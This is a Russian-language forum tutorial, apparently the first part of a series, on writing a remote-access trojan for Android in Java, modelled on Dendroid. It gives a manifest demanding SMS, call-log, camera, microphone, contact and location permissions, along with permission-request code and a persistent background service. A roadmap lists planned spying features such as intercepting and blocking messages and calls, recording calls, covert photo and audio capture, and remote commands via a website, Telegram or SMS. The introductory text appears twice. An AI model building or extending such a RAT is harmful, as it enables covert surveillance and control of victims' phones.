Содержание статьи:
Всем читателям привет и добрый вечер. Это моя первая статья на тему создания RAT (или же бота) для Android на языке Java, да и вообще в принципе моя первая статья.
Автор этой статьи вдохновился уже существовавшим RAT для Android под названием Dendroid-HTTP-RAT (или же BetterAndroidRat), но по прошествии многих лет часть функционала перестала работать, а часть и вовсе требует разрешений у системы Android для полноценной работы. Вот так автор немного покумекал и решил, а почему бы не написать свой RAT имея часть готового функционала, который со спокойной душой можно дополнить своим.
Сам же проект будет состоять из нескольких частей - сервер и клиент. В качестве клиента у нас будет выступать сам RAT, установленный на Android смартфон, а в качестве сервера будет выступать наш WEB-интерфейс (сайт) или же программа для отправки команд на сервер (которую мы с вами, возможно, напишем в будущих статьях).
Для написания серверной части нам понадобится знания PHP, HTML, CSS, MySQL и прочего (ну по факту большая часть кода будет предоставлена). А для клиента, о какая радость, всего один язык - Java.
Я думаю что с вступлением можно покончить т.к. большинство, наверное, уже хочет перейти к самому коду, так что вперед.
2. Создание проекта в Android Studio
Помощь.
Я надеюсь что те кто хочет написать или писал приложения для Android уже установили AndroidStudio (в теории и Eclipse бы подошел, но автор пишет в AS так что будьте добры, не злитесь, если вдруг что-то из моих действий не вышло сделать в среде Eclipse), поэтому приступаем к созданию пустого проекта. Выбираем свое название, выбираем минимальную версию SDK 16 и язык разработки Java, жмем "Finish".
Идем дальше.
2. Создание шаблона приложения и создание части будущего функционала
Я думаю что всем хотелось бы чтобы их программа работала на старших версиях Android, поэтому первым делом мы создадим метод для получения разрешений. Однако перед этим заглянем в манифест приложения и напишем все с чем нам нужно работать. Если вам кажется что какие методы не нужны, то можете их убрать (я действительно добавил их больше чем требуется)
Ну что же, с манифестом покончено, пора приступать к методу получения разрешений. Мы проверим версию SDK и если она будет выше 23 (где-то 5-я или 6-я версия Android; автор слишком ленив чтобы проверять)
Увы и ах, но остальные разрешения вам нужно будет дописать самим. Надеюсь что это не составит большого труда.
Также в будущем мы добавим еще один метод для проверки, который будет повторно вызывать получение разрешений в случае отказа пользователя (но это уже потом, так что можно было это не читать).
Ну и теперь пропишем в главной функции наш метод.
Надеюсь ни у кого не вызвало вопрос почему я сделал запрос через try (ну, а если вдруг и вызвало, то скажу - чтобы при ошибке не вылетела программа и мы могли просмотреть ее в режиме debug).
И так. С главной частью покончили, теперь можем быть спокойны что наше приложение будет работать на всех версиях (но это не точно) Android (начиная с минимально указанной нами версии при создании проекта). Дальше нам потребуется создать метод для запуска сервиса и сам сервис.
Можем приступать к следующему этапу. Для начала создадим новый Java файл и назовем его MainService. Дальше нужно дописать нашему классу наследование и создать пару методов. Чтобы вас сильно не нагружать, даю сразу код. И да, AndroidStudio должна сама выдавать нужные импорты, поэтому в коде я их не указываю .
Так же сразу в MainService создадим функцию которая будет вызвана при создании и сделаем так чтобы она была в потоке.
Осталось только создать наш поток и можем на время забыть про наш сервис. И так, пишем следующее.
Пока что наш сервис ничего не делает, происходит лишь перезапуск сервиса каждые 10 секунд. После мы еще вернемся к нашему сервису т.к. он в дальнейшем будет получать команды, обрабатывать их и отправлять данные на сервер, но на пока мы можем возвращаться в наш главный файл MainActivity и создать там функцию для проверки работоспособности сервиса, который мы только что создали.
Теперь осталось только сделать проверку при запуске программы.
4. Заключение
И да, изначально код может совпадать в некоторых местах с уже упомянутым Dendroid, но это только начало, так что надеюсь что это будет воспринято адекватно. В дальнейшем я планирую сделать следующий функционал :
Надеюсь статья вышла интересной и не громоздкой. Пишите свои пожелания по поводу того что стоит исправить, как лучше подойти к оформлению статьи и какой стиль общения хотели бы вы видеть дальше. Если понравилось то поставьте отметку на опросе.
- Приветствие
- Создание проекта в Android Studio
- Создание шаблона приложения и создание части будущего функционала
- Заключение
Всем читателям привет и добрый вечер. Это моя первая статья на тему создания RAT (или же бота) для Android на языке Java, да и вообще в принципе моя первая статья.
Автор этой статьи вдохновился уже существовавшим RAT для Android под названием Dendroid-HTTP-RAT (или же BetterAndroidRat), но по прошествии многих лет часть функционала перестала работать, а часть и вовсе требует разрешений у системы Android для полноценной работы. Вот так автор немного покумекал и решил, а почему бы не написать свой RAT имея часть готового функционала, который со спокойной душой можно дополнить своим.
Сам же проект будет состоять из нескольких частей - сервер и клиент. В качестве клиента у нас будет выступать сам RAT, установленный на Android смартфон, а в качестве сервера будет выступать наш WEB-интерфейс (сайт) или же программа для отправки команд на сервер (которую мы с вами, возможно, напишем в будущих статьях).
Для написания серверной части нам понадобится знания PHP, HTML, CSS, MySQL и прочего (ну по факту большая часть кода будет предоставлена). А для клиента, о какая радость, всего один язык - Java.
Я думаю что с вступлением можно покончить т.к. большинство, наверное, уже хочет перейти к самому коду, так что вперед.
2. Создание проекта в Android Studio
Помощь.
Я надеюсь что те кто хочет написать или писал приложения для Android уже установили AndroidStudio (в теории и Eclipse бы подошел, но автор пишет в AS так что будьте добры, не злитесь, если вдруг что-то из моих действий не вышло сделать в среде Eclipse), поэтому приступаем к созданию пустого проекта. Выбираем свое название, выбираем минимальную версию SDK 16 и язык разработки Java, жмем "Finish".
2. Создание шаблона приложения и создание части будущего функционала
Я думаю что всем хотелось бы чтобы их программа работала на старших версиях Android, поэтому первым делом мы создадим метод для получения разрешений. Однако перед этим заглянем в манифест приложения и напишем все с чем нам нужно работать. Если вам кажется что какие методы не нужны, то можете их убрать (я действительно добавил их больше чем требуется)
XML:
<uses-permission android:name="com.android.vending.BILLING" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.VIBRATE" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.CHANGE_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
<uses-permission android:name="android.permission.BLUETOOTH" />
<uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
<uses-permission android:name="android.permission.READ_SYNC_SETTINGS" />
<uses-permission android:name="android.permission.NFC" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.TRANSMIT_IR" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.WRITE_CALL_LOG" />
<uses-permission android:name="android.permission.READ_CALL_LOG" />
<uses-permission android:name="android.permission.FLASHLIGHT" />
<uses-permission android:name="android.permission.CALL_PHONE" />
<uses-permission android:name="android.permission.GET_PACKAGE_SIZE" />
<uses-permission android:name="com.android.launcher.permission.UNINSTALL_SHORTCUT" />
<uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES" />
<uses-permission android:name="android.permission.WRITE_CONTACTS" />
<uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS" />
Java:
public void checkPermission() {
if (Build.VERSION.SDK_INT >= 23) {
List<String> permissions = null;
if (checkSelfPermission(Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) {
permissions = new ArrayList<>();
permissions.add(Manifest.permission.READ_PHONE_STATE);
}
if (checkSelfPermission(Manifest.permission.GET_ACCOUNTS) != PackageManager.PERMISSION_GRANTED) {
permissions = new ArrayList<>();
permissions.add(Manifest.permission.GET_ACCOUNTS);
}
//Тут нужно будет дописать остальные разрешения по такому типу
/*
if (checkSelfPermission(Manifest.permission.РАЗРЕШЕНИЕ) != PackageManager.PERMISSION_GRANTED) {
permissions = new ArrayList<>();
permissions.add(Manifest.permission.РАЗРЕШЕНИЕ);
}
*/
if (permissions != null) {
String[] permissionArray = new String[permissions.size()];
permissions.toArray(permissionArray);
requestPermissions(permissionArray, 0);
}
}
}
Также в будущем мы добавим еще один метод для проверки, который будет повторно вызывать получение разрешений в случае отказа пользователя (но это уже потом, так что можно было это не читать).
Ну и теперь пропишем в главной функции наш метод.
Java:
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
try {
checkPermission();
} catch (Exception e) {
e.printStackTrace();
}
}
Надеюсь ни у кого не вызвало вопрос почему я сделал запрос через try (ну, а если вдруг и вызвало, то скажу - чтобы при ошибке не вылетела программа и мы могли просмотреть ее в режиме debug).
И так. С главной частью покончили, теперь можем быть спокойны что наше приложение будет работать на всех версиях (но это не точно) Android (начиная с минимально указанной нами версии при создании проекта). Дальше нам потребуется создать метод для запуска сервиса и сам сервис.
Можем приступать к следующему этапу. Для начала создадим новый Java файл и назовем его MainService. Дальше нужно дописать нашему классу наследование и создать пару методов. Чтобы вас сильно не нагружать, даю сразу код. И да, AndroidStudio должна сама выдавать нужные импорты, поэтому в коде я их не указываю .
Java:
public class MainService extends Service {
private final IBinder myBinder = new MyLocalBinder();
//Если вы выбрали другое название, то поменяйте MainService на свое
public class MyLocalBinder extends Binder {
MainService getService() {
return MainService.this;
}
}
@Override
public IBinder onBind(Intent intent) {
return myBinder;
}
}
Так же сразу в MainService создадим функцию которая будет вызвана при создании и сделаем так чтобы она была в потоке.
Java:
@Override
public void onCreate() {
super.onCreate();
obtainTask.start();
}
Java:
Thread obtainTask = new Thread() {
@SuppressLint("Wakelock") @Override
public void run() {
Looper.prepare();
while (true) {
try {
Thread.sleep(10000);
} catch (Exception e) {
obtainTask.start();
}
}
}
};
Java:
private boolean isMyServiceRunning() {
ActivityManager manager = (ActivityManager) getApplicationContext().getSystemService(Context.ACTIVITY_SERVICE);
for (RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {
if (MainService.class.getName().equals(service.service.getClassName())) { //вместо MainService название ранее созданного вами сервиса
return true;
}
}
return false;
}
Java:
if(!isMyServiceRunning()) {
startService(new Intent(getApplicationContext(), MainService.class)); //название MainService замените на свое
}
И да, изначально код может совпадать в некоторых местах с уже упомянутым Dendroid, но это только начало, так что надеюсь что это будет воспринято адекватно. В дальнейшем я планирую сделать следующий функционал :
- Получение команд с сайта @feature
- Получение команд через Telegram бота
- Получение команд через смс
- Работа с сообщениями
- Получение сообщений @feature
- Получение сообщений с конкретным пользователем
- Удаление сообщение
- Блокировка сообщений
- Отправка сообщений
- Работа со звонками
- Получение звонков @feature
- Получение звонков с конкретным пользователем
- Удаление звонков
- Блокировка звонков
- Вызов абонента
- Запись звонков
- Работа с камерой
- Съемка с камер @feature
- Видеосъемка
- Запись звука
- Получение медиа (фотографий) @feature
- Доступ к проводнику (доступ к файловой системе)
- Получение информации об устройстве (куда же без нее) @feature
- Управление смартфоном
- Громкость
- Яркость
- Обои
- Прочее
Надеюсь статья вышла интересной и не громоздкой. Пишите свои пожелания по поводу того что стоит исправить, как лучше подойти к оформлению статьи и какой стиль общения хотели бы вы видеть дальше. Если понравилось то поставьте отметку на опросе.